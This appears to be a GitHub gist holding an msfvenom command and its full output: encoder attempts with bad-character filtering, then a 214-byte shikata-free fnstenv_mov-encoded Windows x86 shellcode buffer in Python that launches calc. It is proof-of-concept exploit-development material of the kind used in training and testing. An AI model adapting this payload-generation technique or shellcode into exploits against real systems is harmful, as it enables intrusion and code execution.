Last active
May 21, 2025 16:36
-
-
Save epi052/0c8fff921f244349bc51558fdd844c28 to your computer and use it in GitHub Desktop.
pop calc shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
❯ msfvenom -f python -p windows/exec cmd=calc exitfunc=seh --bad-chars '\x00\x20\x25\x26\x27\x2b\x2f\x5c\x7e' --smallest | |
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload | |
[-] No arch selected, selecting arch: x86 from the payload | |
Found 11 compatible encoders | |
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai | |
x86/shikata_ga_nai succeeded with size 216 (iteration=0) | |
Attempting to encode payload with 1 iterations of generic/none | |
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00) | |
Attempting to encode payload with 1 iterations of x86/call4_dword_xor | |
x86/call4_dword_xor succeeded with size 216 (iteration=0) | |
Attempting to encode payload with 1 iterations of x86/countdown | |
x86/countdown failed with Encoding failed due to a bad character (index=123, char=0x20) | |
Attempting to encode payload with 1 iterations of x86/fnstenv_mov | |
x86/fnstenv_mov succeeded with size 214 (iteration=0) | |
Attempting to encode payload with 1 iterations of x86/jmp_call_additive | |
x86/jmp_call_additive succeeded with size 221 (iteration=0) | |
Attempting to encode payload with 1 iterations of x86/xor_dynamic | |
x86/xor_dynamic succeeded with size 235 (iteration=0) | |
Attempting to encode payload with 1 iterations of x86/alpha_mixed | |
x86/alpha_mixed succeeded with size 440 (iteration=0) | |
Attempting to encode payload with 1 iterations of x86/alpha_upper | |
x86/alpha_upper succeeded with size 446 (iteration=0) | |
Attempting to encode payload with 1 iterations of x86/nonalpha | |
x86/nonalpha failed with Encoding failed due to a bad character (index=39, char=0x00) | |
Attempting to encode payload with 1 iterations of x86/nonupper | |
x86/nonupper failed with Encoding failed due to a bad character (index=39, char=0x00) | |
x86/fnstenv_mov chosen with final size 214 | |
Payload size: 214 bytes | |
Final size of python file: 1054 bytes | |
buf = b"" | |
buf += b"\x6a\x30\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13" | |
buf += b"\xf4\xdd\xb5\xba\x83\xeb\xfc\xe2\xf4\x08\x35\x37\xba" | |
buf += b"\xf4\xdd\xd5\x33\x11\xec\x75\xde\x7f\x8d\x85\x31\xa6" | |
buf += b"\xd1\x3e\xe8\xe0\x56\xc7\x92\xfb\x6a\xff\x9c\xc5\x22" | |
buf += b"\x19\x86\x95\xa1\xb7\x96\xd4\x1c\x7a\xb7\xf5\x1a\x57" | |
buf += b"\x48\xa6\x8a\x3e\xe8\xe4\x56\xff\x86\x7f\x91\xa4\xc2" | |
buf += b"\x17\x95\xb4\x6b\xa5\x56\xec\x9a\xf5\x0e\x3e\xf3\xec" | |
buf += b"\x3e\x8f\xf3\x7f\xe9\x3e\xbb\x22\xec\x4a\x16\x35\x12" | |
buf += b"\xb8\xbb\x33\xe5\x55\xcf\x02\xde\xc8\x42\xcf\xa0\x91" | |
buf += b"\xcf\x10\x85\x3e\xe2\xd0\xdc\x66\xdc\x7f\xd1\xfe\x31" | |
buf += b"\xac\xc1\xb4\x69\x7f\xd9\x3e\xbb\x24\x54\xf1\x9e\xd0" | |
buf += b"\x86\xee\xdb\xad\x87\xe4\x45\x14\x82\xea\xe0\x7f\xcf" | |
buf += b"\x5e\x37\xa9\xb7\xb4\x37\x71\x6f\xb5\xba\xf4\x8d\xdd" | |
buf += b"\x8b\x7f\xb2\x32\x45\x21\x66\x4b\xb4\xc6\x37\xdd\x1c" | |
buf += b"\x61\x60\x28\x45\x21\xe1\xb3\xc6\xfe\x5d\x4e\x5a\x81" | |
buf += b"\xd8\x0e\xfd\xe7\xaf\xda\xd0\xf4\x8e\x4a\x6f\x97\xbc" | |
buf += b"\xd9\xd9\xf4\xdd\xb5\xba" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment